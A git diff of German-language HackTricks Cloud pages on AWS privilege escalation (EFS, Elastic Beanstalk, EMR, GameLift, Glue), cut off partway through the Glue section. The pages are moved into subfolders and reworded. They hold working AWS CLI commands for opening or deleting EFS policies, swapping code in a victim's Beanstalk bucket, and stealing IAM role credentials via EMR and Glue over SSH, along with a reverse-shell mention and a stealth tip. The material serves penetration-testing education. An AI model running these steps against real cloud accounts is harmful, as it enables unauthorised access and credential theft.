+**Potential Impact:** Vom Angreifer kontrollierte EC2-Knoten erhalten die Tasks der Opfer, wodurch OS-Level-Zugriff auf Container möglich wird und task IAM role credentials gestohlen werden können.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
deleted file mode 100644
index 4d779ed25..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
+++ /dev/null
@@ -1,86 +0,0 @@
-# AWS - EFS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EFS
-
-Mehr **Info über EFS** in:
-
-{{#ref}}
-../aws-services/aws-efs-enum.md
-{{#endref}}
-
-Denken Sie daran, dass Sie, um ein EFS zu mounten, sich in einem Subnetz befinden müssen, in dem das EFS exponiert ist, und Zugriff darauf haben müssen (Sicherheitsgruppen). Wenn dies der Fall ist, können Sie es standardmäßig immer mounten. Wenn es jedoch durch IAM-Richtlinien geschützt ist, benötigen Sie die hier genannten zusätzlichen Berechtigungen, um darauf zuzugreifen.
-
-### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`
-
-Mit einer dieser Berechtigungen kann ein Angreifer **die Dateisystemrichtlinie ändern**, um **Ihnen Zugriff** darauf zu gewähren, oder sie einfach **löschen**, sodass der **Standardzugriff** gewährt wird.
-
-Um die Richtlinie zu löschen:
-```bash
-aws efs delete-file-system-policy \
---file-system-id <value>
-```
-Um es zu ändern:
-```json
-aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json
-
-// Give everyone trying to mount it read, write and root access
-// policy.json:
-{
-"Version": "2012-10-17",
-"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
-"Statement": [
-{
-"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": [
-"elasticfilesystem:ClientRootAccess",
-"elasticfilesystem:ClientWrite",
-"elasticfilesystem:ClientMount"
-],
-"Condition": {
-"Bool": {
-"elasticfilesystem:AccessedViaMountTarget": "true"
-}
-}
-}
-]
-}
-```
-### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)`
-
-Mit dieser Berechtigung kann ein Angreifer **das EFS einbinden**. Wenn die Schreibberechtigung standardmäßig nicht allen gewährt wird, die das EFS einbinden können, hat er nur **Lesezugriff**.
-```bash
-sudo mkdir /efs
-sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/
-```
-Die zusätzlichen Berechtigungen `elasticfilesystem:ClientRootAccess` und `elasticfilesystem:ClientWrite` können verwendet werden, um **in** das Dateisystem zu **schreiben**, nachdem es gemountet wurde, und um auf dieses Dateisystem **als root** zu **zugreifen**.
-
-**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation durch Auffinden sensibler Informationen im Dateisystem.
-
-### `elasticfilesystem:CreateMountTarget`
-
-Wenn ein Angreifer sich in einem **Subnetz** befindet, in dem **kein Mount-Ziel** des EFS existiert, könnte er einfach **eins in seinem Subnetz erstellen** mit diesem Privileg:
-```bash
-# You need to indicate security groups that will grant the user access to port 2049
-aws efs create-mount-target --file-system-id <fs-id> \
---subnet-id <value> \
---security-groups <value>
-```
-**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation durch das Auffinden sensibler Informationen im Dateisystem.
-
-### `elasticfilesystem:ModifyMountTargetSecurityGroups`
-
-In einem Szenario, in dem ein Angreifer feststellt, dass das EFS einen Mount-Ziel in seinem Subnetz hat, aber **keine Sicherheitsgruppe den Verkehr erlaubt**, könnte er einfach **das ändern, indem er die ausgewählten Sicherheitsgruppen ändert**:
-```bash
-aws efs modify-mount-target-security-groups \
---mount-target-id <value> \
---security-groups <value>
-```
-**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation durch das Auffinden sensibler Informationen im Dateisystem.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md
new file mode 100644
index 000000000..20c998847
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md
@@ -0,0 +1,86 @@
+# AWS - EFS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EFS
+
+Mehr **Info über EFS** in:
+
+{{#ref}}
+../../aws-services/aws-efs-enum.md
+{{#endref}}
+
+Beachte, dass du, um ein EFS zu mounten, in einem Subnetz sein musst, in dem das EFS erreichbar ist, und Zugriff darauf haben musst (security groups). Wenn dies der Fall ist, kannst du es standardmäßig immer mounten; ist es jedoch durch IAM policies geschützt, benötigst du die hier genannten zusätzlichen Berechtigungen, um darauf zuzugreifen.
+
+### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`
+
+Mit einer dieser Berechtigungen kann ein Angreifer die **Dateisystemrichtlinie ändern**, um **dir Zugriff darauf zu gewähren**, oder sie einfach **löschen**, sodass der **Standardzugriff** gewährt wird.
+
+Um die Richtlinie zu löschen:
+```bash
+aws efs delete-file-system-policy \
+--file-system-id <value>
+```
+Um es zu ändern:
+```json
+aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json
+
+// Give everyone trying to mount it read, write and root access
+// policy.json:
+{
+"Version": "2012-10-17",
+"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
+"Statement": [
+{
+"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": [
+"elasticfilesystem:ClientRootAccess",
+"elasticfilesystem:ClientWrite",
+"elasticfilesystem:ClientMount"
+],
+"Condition": {
+"Bool": {
+"elasticfilesystem:AccessedViaMountTarget": "true"
+}
+}
+}
+]
+}
+```
+### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)`
+
+Mit dieser Berechtigung kann ein Angreifer **mount the EFS**. Wenn die write permission nicht standardmäßig allen gewährt wird, die das EFS mounten können, hat er nur **read access**.
+```bash
+sudo mkdir /efs
+sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/
+```
+Die zusätzlichen Berechtigungen `elasticfilesystem:ClientRootAccess` und `elasticfilesystem:ClientWrite` können verwendet werden, um **ins Dateisystem zu schreiben**, nachdem es gemountet wurde, und um auf dieses Dateisystem **als root** zuzugreifen.
+
+**Mögliche Auswirkung:** Indirekter privesc durch Auffinden sensibler Informationen im Dateisystem.
+
+### `elasticfilesystem:CreateMountTarget`
+
+Wenn sich ein Angreifer in einem **Subnetz** befindet, in dem **kein Mount-Target** des EFS existiert, könnte er mit dieser Berechtigung einfach **eines in seinem Subnetz erstellen**:
+```bash
+# You need to indicate security groups that will grant the user access to port 2049
+aws efs create-mount-target --file-system-id <fs-id> \
+--subnet-id <value> \
+--security-groups <value>
+```
+**Potential Impact:** Indirekte privesc durch Auffinden sensibler Informationen im Dateisystem.
+
+### `elasticfilesystem:ModifyMountTargetSecurityGroups`
+
+In einem Szenario, in dem ein Angreifer feststellt, dass die EFS ein Mount Target in seinem Subnetz hat, aber **keine Sicherheitsgruppe den Datenverkehr zulässt**, könnte er das einfach ändern, indem er die ausgewählten Sicherheitsgruppen modifiziert:
+```bash
+aws efs modify-mount-target-security-groups \
+--mount-target-id <value> \
+--security-groups <value>
+```
+**Mögliche Auswirkungen:** Indirektes privesc durch Auffinden sensibler Informationen im Dateisystem.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md
similarity index 67%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md
index 1f572a88e..af2775d3a 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md
@@ -1,21 +1,21 @@
 # AWS - Elastic Beanstalk Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Elastic Beanstalk
 
-Mehr **Info über Elastic Beanstalk** in:
+Mehr **Infos über Elastic Beanstalk** in:
 
 {{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
+../../aws-services/aws-elastic-beanstalk-enum.md
 {{#endref}}
 
 > [!WARNING]
-> Um sensible Aktionen in Beanstalk durchzuführen, benötigen Sie **eine Menge sensibler Berechtigungen in vielen verschiedenen Diensten**. Sie können beispielsweise die Berechtigungen überprüfen, die **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** zugewiesen sind.
+> Um sensible Aktionen in Beanstalk durchzuführen, benötigen Sie **viele sensitive Berechtigungen in vielen verschiedenen Services**. Sie können zum Beispiel die Berechtigungen prüfen, die **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** gewährt werden.
 
 ### `elasticbeanstalk:RebuildEnvironment`, S3 Schreibberechtigungen & viele andere
 
-Mit **Schreibberechtigungen für den S3-Bucket**, der den **Code** der Umgebung enthält, und Berechtigungen zum **Wiederherstellen** der Anwendung (es werden `elasticbeanstalk:RebuildEnvironment` und einige weitere, die sich auf `S3`, `EC2` und `Cloudformation` beziehen, benötigt), können Sie den **Code** **modifizieren**, die App **neu erstellen** und beim nächsten Zugriff auf die App wird sie **Ihren neuen Code ausführen**, was dem Angreifer ermöglicht, die Anwendung und die IAM-Rollenanmeldeinformationen zu kompromittieren.
+Mit **Schreibberechtigungen für das S3-Bucket**, das den **Code** der Umgebung enthält, und Berechtigungen, die Anwendung zu **neu aufzubauen** (es wird `elasticbeanstalk:RebuildEnvironment` und noch einige weitere Berechtigungen für `S3`, `EC2` und `Cloudformation` benötigt), können Sie den **Code** **ändern**, die App **neu aufbauen** und beim nächsten Zugriff auf die App wird sie **Ihren neuen Code ausführen**, wodurch ein Angreifer die Anwendung und die Zugangsdaten der IAM-Rolle kompromittieren kann.
 ```bash
 # Create folder
 mkdir elasticbeanstalk-eu-west-1-947247140022
@@ -30,29 +30,29 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247
 # Rebuild env
 aws elasticbeanstalk rebuild-environment --environment-name "env-name"
 ```
-### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole` und mehr...
+### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, und mehr...
 
-Die genannten sowie mehrere **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** und **`elasticloadbalancing`** Berechtigungen sind notwendig, um ein rohes Elastic Beanstalk-Szenario von Grund auf zu erstellen.
+Die genannten sowie mehrere **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** und **`elasticloadbalancing`** Berechtigungen sind erforderlich, um ein rohes Elastic Beanstalk-Szenario von Grund auf zu erstellen.
 
-- Erstellen Sie eine AWS Elastic Beanstalk-Anwendung:
+- Erstelle eine AWS Elastic Beanstalk-Anwendung:
 ```bash
 aws elasticbeanstalk create-application --application-name MyApp
 ```
-- Erstellen Sie eine AWS Elastic Beanstalk-Umgebung ([**unterstützte Plattformen**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
+- Erstellen Sie eine AWS Elastic Beanstalk-Umgebung ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
 ```bash
 aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role
 ```
-Wenn eine Umgebung bereits erstellt wurde und Sie **keine neue erstellen möchten**, können Sie einfach die vorhandene **aktualisieren**.
+Wenn eine Umgebung bereits erstellt wurde und Sie **nicht eine neue erstellen möchten**, können Sie einfach die bestehende **aktualisieren**.
 
-- Verpacken Sie Ihren Anwendungscode und die Abhängigkeiten in eine ZIP-Datei:
+- Packen Sie Ihren Anwendungscode und die Abhängigkeiten in eine ZIP-Datei:
 ```python
 zip -r MyApp.zip .
 ```
-- Laden Sie die ZIP-Datei in einen S3-Bucket hoch:
+- Lade die ZIP-Datei in einen S3-Bucket hoch:
 ```python
 aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
 ```
-- Erstellen Sie eine AWS Elastic Beanstalk-Anwendungsversion:
+- Erstelle eine AWS Elastic Beanstalk-Anwendungsversion:
 ```css
 aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
 ```
@@ -62,7 +62,7 @@ aws elasticbeanstalk update-environment --environment-name MyEnv --version-label
 ```
 ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses`
 
-Zuerst müssen Sie eine **legitime Beanstalk-Umgebung** mit dem **Code** erstellen, den Sie im **Opfer** ausführen möchten, gemäß den **vorherigen Schritten**. Möglicherweise ein einfaches **zip**, das diese **2 Dateien** enthält:
+Zuerst musst du eine **legitime Beanstalk-Umgebung** mit dem **code** erstellen, den du auf dem **victim** ausführen möchtest, indem du den **vorherigen Schritten** folgst. Eventuell ein einfaches **zip**, das diese **2 Dateien** enthält:
 
 {{#tabs }}
 {{#tab name="application.py" }}
@@ -111,7 +111,7 @@ Werkzeug==1.0.1
 {{#endtab }}
 {{#endtabs }}
 
-Sobald Sie **Ihre eigene Beanstalk-Umgebung** mit Ihrer Rev-Shell ausführen, ist es Zeit, sie in die **Umgebung des Opfers** zu **migrieren**. Dazu müssen Sie die **Bucket-Richtlinie** Ihres Beanstalk-S3-Buckets **aktualisieren**, damit das **Opfer darauf zugreifen kann** (Bitte beachten Sie, dass dies den Bucket für **JEDEN** **öffnet**):
+Sobald du **deine eigene Beanstalk env mit deinem rev shell laufen hast**, ist es Zeit, sie zu **migrieren** in die **Umgebung des Opfers**. Dazu musst du die **Bucket Policy** deines beanstalk S3 buckets aktualisieren, damit das **Opfer darauf zugreifen kann** (Beachte, dass dadurch der Bucket für **EVERYONE** geöffnet wird):
 ```json
 {
 "Version": "2008-10-17",
@@ -162,4 +162,4 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe
 
 The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
deleted file mode 100644
index 65d562f55..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
+++ /dev/null
@@ -1,62 +0,0 @@
-# AWS - EMR Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EMR
-
-Mehr **Info über EMR** in:
-
-{{#ref}}
-../aws-services/aws-emr-enum.md
-{{#endref}}
-
-### `iam:PassRole`, `elasticmapreduce:RunJobFlow`
-
-Ein Angreifer mit diesen Berechtigungen kann **ein neues EMR-Cluster erstellen, indem er EC2-Rollen anfügt** und versuchen, dessen Anmeldeinformationen zu stehlen.\
-Beachten Sie, dass Sie dazu **einige SSH-Privatschlüssel, die im Konto importiert wurden, kennen oder einen importieren müssen** und in der Lage sein müssen, **Port 22 im Master-Knoten zu öffnen** (Sie könnten dies mit den Attributen `EmrManagedMasterSecurityGroup` und/oder `ServiceAccessSecurityGroup` innerhalb von `--ec2-attributes` tun).
-```bash
-# Import EC2 ssh key (you will need extra permissions for this)
-ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
-chmod 400 /tmp/sshkey
-base64 /tmp/sshkey.pub > /tmp/pub.key
-aws ec2 import-key-pair \
---key-name "privesc" \
---public-key-material file:///tmp/pub.key
-
-
-aws emr create-cluster \
---release-label emr-5.15.0 \
---instance-type m4.large \
---instance-count 1 \
---service-role EMR_DefaultRole \
---ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
-
-# Wait 1min and connect via ssh to an EC2 instance of the cluster)
-aws emr describe-cluster --cluster-id <id>
-# In MasterPublicDnsName you can find the DNS to connect to the master instance
-## You cna also get this info listing EC2 instances
-```
-Beachten Sie, wie eine **EMR-Rolle** in `--service-role` und eine **EC2-Rolle** in `--ec2-attributes` innerhalb von `InstanceProfile` angegeben ist. Diese Technik ermöglicht jedoch nur das Stehlen der EC2-Rollenanmeldeinformationen (da Sie sich über SSH verbinden), jedoch nicht der EMR IAM-Rolle.
-
-**Potenzielle Auswirkungen:** Privesc zur angegebenen EC2-Dienstrolle.
-
-### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole`
-
-Mit diesen Berechtigungen kann ein Angreifer zur **AWS-Konsole** gehen, ein Notebook erstellen und darauf zugreifen, um die IAM-Rolle zu stehlen.
-
-> [!CAUTION]
-> Selbst wenn Sie einer Notebook-Instanz in meinen Tests eine IAM-Rolle zuweisen, habe ich festgestellt, dass ich in der Lage war, AWS-verwaltete Anmeldeinformationen zu stehlen und nicht die Anmeldeinformationen, die mit der IAM-Rolle verbunden sind.
-
-**Potenzielle Auswirkungen:** Privesc zur AWS-verwalteten Rolle arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
-
-### `elasticmapreduce:OpenEditorInConsole`
-
-Nur mit dieser Berechtigung kann ein Angreifer auf das **Jupyter Notebook zugreifen und die IAM-Rolle stehlen**, die damit verbunden ist.\
-Die URL des Notebooks lautet `https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/`
-
-> [!CAUTION]
-> Selbst wenn Sie einer Notebook-Instanz in meinen Tests eine IAM-Rolle zuweisen, habe ich festgestellt, dass ich in der Lage war, AWS-verwaltete Anmeldeinformationen zu stehlen und nicht die Anmeldeinformationen, die mit der IAM-Rolle verbunden sind.
-
-**Potenzielle Auswirkungen:** Privesc zur AWS-verwalteten Rolle arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md
new file mode 100644
index 000000000..5cdcda16c
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md
@@ -0,0 +1,62 @@
+# AWS - EMR Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EMR
+
+Mehr **Informationen über EMR** in:
+
+{{#ref}}
+../../aws-services/aws-emr-enum.md
+{{#endref}}
+
+### `iam:PassRole`, `elasticmapreduce:RunJobFlow`
+
+Ein Angreifer mit diesen Berechtigungen kann **einen neuen EMR-Cluster starten und EC2-Rollen anhängen** und versuchen, dessen Zugangsdaten zu stehlen.\
+Beachte, dass du dafür **eine im Account importierte ssh priv key** kennen müsstest oder eine importieren müsstest, und in der Lage sein müsstest, **Port 22 im master node zu öffnen** (möglicherweise kannst du dies mit den Attributen `EmrManagedMasterSecurityGroup` und/oder `ServiceAccessSecurityGroup` innerhalb von `--ec2-attributes` erreichen).
+```bash
+# Import EC2 ssh key (you will need extra permissions for this)
+ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
+chmod 400 /tmp/sshkey
+base64 /tmp/sshkey.pub > /tmp/pub.key
+aws ec2 import-key-pair \
+--key-name "privesc" \
+--public-key-material file:///tmp/pub.key
+
+
+aws emr create-cluster \
+--release-label emr-5.15.0 \
+--instance-type m4.large \
+--instance-count 1 \
+--service-role EMR_DefaultRole \
+--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
+
+# Wait 1min and connect via ssh to an EC2 instance of the cluster)
+aws emr describe-cluster --cluster-id <id>
+# In MasterPublicDnsName you can find the DNS to connect to the master instance
+## You cna also get this info listing EC2 instances
+```
+Beachte, dass eine **EMR role** in `--service-role` angegeben wird und eine **ec2 role** in `--ec2-attributes` innerhalb von `InstanceProfile`. Diese Technik erlaubt jedoch nur das Stehlen der EC2 role credentials (da du dich per ssh verbindest), nicht jedoch der EMR IAM Role.
+
+**Mögliche Auswirkungen:** Privesc auf die angegebene EC2 service role.
+
+### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole`
+
+Mit diesen Berechtigungen kann ein Angreifer zur **AWS console** gehen, ein Notebook erstellen und darauf zugreifen, um die IAM Role zu stehlen.
+
+> [!CAUTION]
+> Selbst wenn du in meinen Tests eine IAM role an die Notebook-Instanz angehängt hast, fiel mir auf, dass ich AWS managed credentials stehlen konnte und nicht die zur IAM role gehörigen creds.
+
+**Mögliche Auswirkungen:** Privesc zur AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
+
+### `elasticmapreduce:OpenEditorInConsole`
+
+Allein mit dieser Berechtigung kann ein Angreifer auf das **Jupyter Notebook und die damit verbundene IAM role** zugreifen und sie stehlen.\
+Die URL des Notebooks ist `https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/`
+
+> [!CAUTION]
+> Selbst wenn du in meinen Tests eine IAM role an die Notebook-Instanz angehängt hast, fiel mir auf, dass ich AWS managed credentials stehlen konnte und nicht die zur IAM role gehörigen creds
+
+**Mögliche Auswirkungen:** Privesc zur AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
deleted file mode 100644
index ad45626cb..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
+++ /dev/null
@@ -1,16 +0,0 @@
-# AWS - Gamelift
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### `gamelift:RequestUploadCredentials`
-
-Mit dieser Berechtigung kann ein Angreifer ein **neues Set von Anmeldeinformationen abrufen, das beim Hochladen** eines neuen Satzes von Spiel-Build-Dateien zu Amazon GameLift's Amazon S3 verwendet wird. Es wird **S3-Hochladeanmeldeinformationen** zurückgegeben.
-```bash
-aws gamelift request-upload-credentials \
---build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
-```
-## Referenzen
-
-- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md
new file mode 100644
index 000000000..64294f5fa
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md
@@ -0,0 +1,16 @@
+# AWS - Gamelift
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### `gamelift:RequestUploadCredentials`
+
+Mit dieser Berechtigung kann ein Angreifer ein **frisches Set von Anmeldeinformationen für das Hochladen** einer neuen Reihe von Spiele-Build-Dateien zu Amazon GameLift's Amazon S3 abrufen. Dabei werden **S3 upload credentials** zurückgegeben.
+```bash
+aws gamelift request-upload-credentials \
+--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
+```
+## Referenzen
+
+- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md
similarity index 57%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md
index d8b68bbe5..41b431a0b 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md
@@ -1,14 +1,14 @@
 # AWS - Glue Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## glue
 
 ### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
 
-Benutzer mit diesen Berechtigungen können **einen neuen AWS Glue-Entwicklungsendpunkt einrichten**, **einen vorhandenen Dienstrolle, die von Glue übernommen werden kann**, mit spezifischen Berechtigungen diesem Endpunkt zuweisen.
+Benutzer mit diesen Berechtigungen können **einen neuen AWS Glue Development Endpoint einrichten**, **eine vorhandene Service-Rolle, die von Glue übernommen werden kann, diesem Endpoint zuweisen** und diesem Endpoint spezifische Berechtigungen geben.
 
-Nach der Einrichtung kann der **Angreifer per SSH auf die Instanz des Endpunkts zugreifen** und die IAM-Anmeldeinformationen der zugewiesenen Rolle stehlen:
+Nach der Einrichtung kann der **Angreifer per SSH auf die Instanz des Endpoints zugreifen** und die IAM-Zugangsdaten der zugewiesenen Rolle stehlen:
 ```bash
 # Create endpoint
 aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
@@ -22,13 +22,13 @@ aws glue get-dev-endpoint --endpoint-name privesctest
 # SSH with the glue user
 ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
 ```
-Für Stealth-Zwecke wird empfohlen, die IAM-Anmeldeinformationen von innerhalb der Glue-virtuellen Maschine zu verwenden.
+Aus Tarnungsgründen wird empfohlen, die IAM-Zugangsdaten von innerhalb der Glue-VM zu verwenden.
 
-**Potenzielle Auswirkungen:** Privesc auf die angegebene Glue-Service-Rolle.
+**Potential Impact:** Privesc auf die angegebene glue-Service-Rolle.
 
 ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
 
-Benutzer mit dieser Berechtigung können **den SSH-Schlüssel eines bestehenden Glue-Entwicklung** Endpunkts ändern, **was den SSH-Zugriff darauf ermöglicht**. Dies erlaubt dem Angreifer, Befehle mit den Berechtigungen der angehängten Rolle des Endpunkts auszuführen:
+Benutzer mit dieser Berechtigung können **einen bestehenden Glue-Entwicklungsendpunkt ändern** und dessen SSH-Schlüssel setzen, **um SSH-Zugriff darauf zu ermöglichen**. Dadurch kann ein Angreifer Befehle mit den Rechten der an den Endpunkt angehängten Rolle ausführen:
 ```bash
 # Change public key to connect
 aws glue --endpoint-name target_endpoint \
@@ -41,11 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest
 # SSH with the glue user
 ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
 ```
-**Potenzielle Auswirkungen:** Privesc auf die verwendete Glue-Service-Rolle.
+**Mögliche Auswirkungen:** Privesc auf die verwendete glue service role.
 
 ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`)
 
-Benutzer mit **`iam:PassRole`** in Kombination mit entweder **`glue:CreateJob` oder `glue:UpdateJob`**, und entweder **`glue:StartJobRun` oder `glue:CreateTrigger`** können **ein AWS Glue-Job erstellen oder aktualisieren**, indem sie ein beliebiges **Glue-Service-Konto** anhängen und die Ausführung des Jobs initiieren. Die Fähigkeiten des Jobs umfassen das Ausführen beliebigen Python-Codes, der ausgenutzt werden kann, um eine Reverse-Shell einzurichten. Diese Reverse-Shell kann dann verwendet werden, um die **IAM-Anmeldeinformationen** der Rolle, die an den Glue-Job angehängt ist, zu exfiltrieren, was zu potenziellem unbefugtem Zugriff oder Aktionen basierend auf den Berechtigungen dieser Rolle führen kann:
